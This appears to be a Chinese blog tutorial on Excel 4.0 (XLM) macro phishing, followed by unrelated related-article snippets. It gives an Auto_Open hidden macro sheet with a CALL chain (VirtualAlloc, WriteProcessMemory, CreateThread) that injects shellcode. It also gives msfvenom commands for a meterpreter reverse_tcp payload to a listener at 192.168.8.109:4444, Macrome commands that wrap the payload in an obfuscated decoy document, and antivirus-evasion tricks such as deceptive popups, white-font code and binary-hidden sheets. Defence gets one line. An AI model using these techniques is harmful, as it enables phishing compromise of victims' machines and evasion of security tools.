前言

XLM钓鱼不是一项新的技术,自从公开以后,网上有很多对其的分析文章,这里仅仅做一个分享和摸索记录。文章中有问题的地方还请指出。

一个简单的例子

新建一个excel表格,右键选择表,选择插入

插入ms excel4.0宏表

随后在单元格输入以下内容,并将A1格内容改为Auto_Open,随后隐藏这个表就好。

随后保存为启用宏的文档。

当鱼儿点开,选择启用宏时就会调用计算器,并弹窗

扩展及原理

通过Auto_Open可以让宏表自动运行,通过隐藏宏表可以做到简单的隐藏效果。

而在实战环境中,我们更关注的是能否执行我们的shellcode。

Outflank研究发现,通过利用这些宏的REGISTERCALL函数,可以调用 Win32 API,并可以将 shellcode 注入到正在运行的进程中。

REGISTER("Kernel32","VirtualAlloc","JJJJJ",0,880,4096,64)

REGISTER(module_name, procedure_name, type, alias, argument, macro_type, category)

  • Module_name 是 DLL 的名称,例如 c:\windows\system32\kernel32.dll 的“Kernel32”。
  • Procedure_name 是 DLL 中导出函数的名称,例如“VirtualAlloc”。
  • Type 是一个字符串,指定函数的返回值和参数的类型。
  • Alias 可以为函数指定的自定义名称,稍后可以通过该名称调用它。
  • Argument 可用于命名函数的参数,它是可选的。
  • Macro_type 应该是 1,代表函数。
  • Category 是类别编号(用于古老的 Excel 功能)。我们可以为我们的目的指定一个 1 到 14 之间的任意类别编号

如果你想深入了解可以参考excel 4.0函数说明文档

接下来我们构建一个可以执行我们自己shellcode的文档,这里有几个要注意的点

一个是shellcode中不能存在空字节‘\x00’

另外一个就是WPM每次调用最多只能写入255 个字节

我们来看一下网上相关的利用代码

=R1C2()  //调用指定位置代码
=CALL("Kernel32","VirtualAlloc","JJJJJ",0,1000000,4096,64) //调用Kernel
=SELECT(R1C2:R1000:C2,R1C2) //选择shellcode列
=SET.VALUE(R1C3, 0) //设置一个单元格
=WHILE(LEN(ACTIVE.CELL())>0)
=CALL("Kernel32","WriteProcessMemory","JJJCJJ",-1, R2C1 + R1C3 * 20,ACTIVE.CELL(), LEN(ACTIVE.CELL()), 0)
=SET.VALUE(R1C3, R1C3 + 1)
=SELECT(, "R[1]C")
=NEXT() //循环shellcode,调用RtilCopyMemory,循环往内存空间写入,当当前shell代码单元格的长度一旦将单元格写入内存,计数器+1并进入下一循环
=CALL("Kernel32","CreateThread","JJJJJJJ",0, 0, R2C1, 0, 0, 0) //调用CreateThread创建线程
=HALT() //必须包含HALT或RETURN函数

这个时候可以使用工具生成我们自己的shellcode,并转化即可。过程中会遇到EXCEL崩溃的情况,不过代码执行并不受影响。

通过msf命令,我们可以快速生成不包含空字节的shellcode,通过SharpShooter工具可以帮助把shellcode转化成可用的格式。当然网上也有很多脚本可以利用,可以自行搜索下。

使用工具先生成

生成后发现打开直接崩溃,不过没有关系。我们可以手动对代码进行调整

对于excel宏调用,我们可以观察其代码,发现其中的excel宏片段是写死的,猜测崩溃原因就在此

无论怎样生成,其中代码都是不变的,所以就可能造成崩溃的问题。有闲工夫可以附加调试看看什么情况,不过这不在本文章的范围。

看了一些项目发现,其调用的地址都是动态生成的

https://github.com/outflanknl/Scripts/blob/master/ShellcodeToJScript.js

这种不带混淆的,直接VirtualAlloc -> WriteProcessMemory -> CreateThread现在肯定是被杀的,所以还是需要自动化的生成工具。

自动化利用

github上有很多的开源的工具,这里我使用Macrome

使用msf生成64位和32位不包含空字节的shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp lport=192.168.8.109 lport=4444 -b '\x00' -e x64/xor --arch x64 --platform windows -f raw > payload64.bin

``msfvenom -p windows/meterpreter/reverse_tcp lport=192.168.8.109 lport=4444 -b '\x00' --arch x86 --platform windows -f raw > payload32.bin`

使用工具执行,该命令会使用默认模板写入并混淆。

``Macrome.exe build --decoy-document decoy_document.xls --payload payload32.bin --payload64-bit payload64.bin`

当受害者点击启用宏就会上线。上线后如果关闭excel,那么shell就会断开。

另外使用64位监听器去接收会引起excel的崩溃,因为测试环境是64位的,但是EXCEL安装的是32位的。

32位监听器正常上线

VT查杀率 21/59

网上工具自动生成还是存在查杀率较高的问题,如果想要做到免杀效果好的话,还是需要自己尝试去编码,开发开发工具。

bypass

因为XLM的构造特点,如Auto_Open、数量贼多的char函数等等,某些AV还不管三七二十一的给你误报,所以bypass还是比较困难的。

现在这个钓鱼方法已经工具化了,往往都集成了各种编码,加密。这里只介绍几种从攻击团伙的样本中学到的一些姿势。

1、图片遮盖

将宏代码隐藏在图片下,图片可以是提示启用宏的引导性内容

2、交互式消息弹窗

=IF(ALERT("此文档与您的服务程序不兼容,是否还要继续查看此文档?",1),,CLOSE(TRUE))

代码是顺序执行的,所以该执行的也不受影响,通过交互式弹窗的方式让鱼儿放松警惕

3、下载在转储

从网上下载恶意代码,存储到某个位置。然后再调用执行

4、代码随意分布

将代码拆分保存在各个分散的单元格中

5、更改字体颜色

修改字体颜色为白色

6、修改二进制文件

通过修改二进制文件的方式去隐藏宏表,这样无法通过普通方式取消隐藏来获取宏表

7、替代函数规避

通过可以用函数组合,或者通过日期函数获取数字,通过算数运算传入某些值

8、多个宏表

构建多个宏表,隐藏真正的恶意宏表,拖慢分析

9、恶意代码隐藏到注释

将shellcode内容加密防止注释中再调用

防御手段

1、禁用宏,对于宏文档提高警惕性

参考文章

https://synzack.github.io/Weaponizing-28-Year-Old-XLM-Macros/

https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/

钓鱼小技巧-XLM的更多相关文章

  1. Google搜索引擎使用小技巧

    相信大家都知道,利用Google等搜索引擎进行信息查证是翻译过程中十分重要的一环.事实上,掌握信息搜索的技巧和方法,不仅对翻译工作大有帮助, 在网络信息时代,学会充分利用搜索引擎,在很多情况下都可以达 ...

  2. hw小技巧(转载)

    小弟也第一次参加hw,经过5天hw,确实也学到了许多的东西,但就本次分享而言,我分享一些我认为在hw里面值得注意的东西以及一些小技巧 0x01 信息收集 信息收集这个多西当然都是老生常谈了,你收集的东 ...

  3. 前端网络、JavaScript优化以及开发小技巧

    一.网络优化 YSlow有23条规则,中文可以参考这里.这几十条规则最主要是在做消除或减少不必要的网络延迟,将需要传输的数据压缩至最少. 1)合并压缩CSS.JavaScript.图片,静态资源CDN ...

  4. Git小技巧 - 指令别名及使用Beyond Compare作为差异比较工具

    前言 本文主要写给使用命令行来操作Git的用户,用于提高Git使用的效率.至于使用命令还是GUI(Tortoise Git或VS的Git插件)就不在此讨论了,大家根据自己的的喜好选择就好.我个人是比较 ...

  5. 分享两个BPM配置小技巧

    1.小技巧 流程图修改后发布的话版本号会+1,修改次数多了之后可能会导致版本号很高,这个时候可以将流程导出,然后删除对应的流程包再导入,发布数据模型和流程图之后,版本清零 2.小技巧 有的同事入职后使 ...

  6. linux系统维护时的一些小技巧,包括系统挂载新磁盘的方法!可收藏!

    这里发布一些平时所用到的小技巧,不多,不过会持续更新.... 1.需要将history创建硬链接ln 全盘需要备份硬链接 ln /etc/xxx /home/xxx 2.root用户不可以远程 /et ...

  7. JS处理事件小技巧

    今天,就分享一下我自己总结的一些JS的小技巧: ①防止鼠标选中事件 <div class="mask" onselectstart="return false&qu ...

  8. iOS:小技巧(不断更新)

    记录下一些不常用技巧,以防忘记,复制用. 1.获取当前的View在Window的frame: UIWindow * window=[[[UIApplication sharedApplication] ...

  9. css小技巧(1)

    1.-webkit-overflow-scrolling: touch; 解决ios滑动时无缓冲问题 2.::-webkit-scrollbar 设置ios滑动时是否显示滚动条 3.::selecti ...

随机推荐

  1. Go语言核心36讲(Go语言基础知识六)--学习笔记

    06 | 程序实体的那些事儿 (下) 在上一篇文章,我们一直都在围绕着可重名变量,也就是不同代码块中的重名变量,进行了讨论.还记得吗? 最后我强调,如果可重名变量的类型不同,那么就需要引起我们的特别关 ...

  2. from athletelist import AthleteList出现红色下滑波浪线警告

    问题:from athletelist import AthleteList出现红色下滑波浪线警告 经过个人网上搜索了解,这个问题是因为python找不到相关的.py文件,无法导入athletelis ...

  3. [源码解析] PyTorch如何实现前向传播(3) --- 具体实现

    [源码解析] PyTorch如何实现前向传播(3) --- 具体实现 目录 [源码解析] PyTorch如何实现前向传播(3) --- 具体实现 0x00 摘要 0x01 计算图 1.1 图的相关类 ...

  4. Linux基础是零基础必须要过的关,你懂了多少

    #LINUX基础学习 ##命令行下的基础知识 Linux区分英文的大小写. date :查看时间 cal:查看日历 [Tab] 热键 :可以自动补全命令名和文件名 [Ctrl]+C 热键 :可以中断正 ...

  5. matplotlib散点图

    我们常用的统计图如下: 1.学会绘制散点图 一个小demo: 假设通过爬虫你获取到了北京2016年3,10月份每天白天的最高气温(分别位于列表a,b),那么此时如何寻找出气温和随时间(天)变化的某种规 ...

  6. 字符串折叠&压缩(区间DP)

    字符串折叠 题目描述 折叠的定义如下: 一个字符串可以看成它自身的折叠.记作S = S X(S)是X(X>1)个S连接在一起的串的折叠.记作X(S) = SSSS-S(X个S). 如果A = A ...

  7. JAVA笔记15__TCP服务端、客户端程序 / ECHO程序 /

    /** * TCP:传输控制协议,采用三方握手的方式,保证准确的连接操作. * UDP:数据报协议,发送数据报,例如:手机短信或者是QQ消息. */ /** * TCP服务器端程序 */ public ...

  8. Python里字符串Format时的一个易错“点”

    这是一篇很小的笔记,原因是我做学习通的时候见到了这个题: 当时看了一会儿发现没有符合自己想法的答案,然后就脑袋一热选了C,结果当然是错了... 看了一眼这个format的字符串对象,发现有个 {:7. ...

  9. vue中element-ui table列名lable换行问题 ---亲测

    1.lable操作 :label = "'xxxxx \n xxxxx'" // 注意 lable 的: 注:双引号内有单引号,这样才可以解析文本.需要换行的文本处添加 \n 2. ...

  10. 小米多模网关接入Home Assistant ZNDMWG03LM

    一.小米zigbee网关使用 先下载米家app,打开手机蓝牙,登陆点"我的"界面,将网关设备插上电源,橙灯闪烁,点击蓝牙网关等待弹窗提示连接,选择连接路由器(需2.4GHz),输入 ...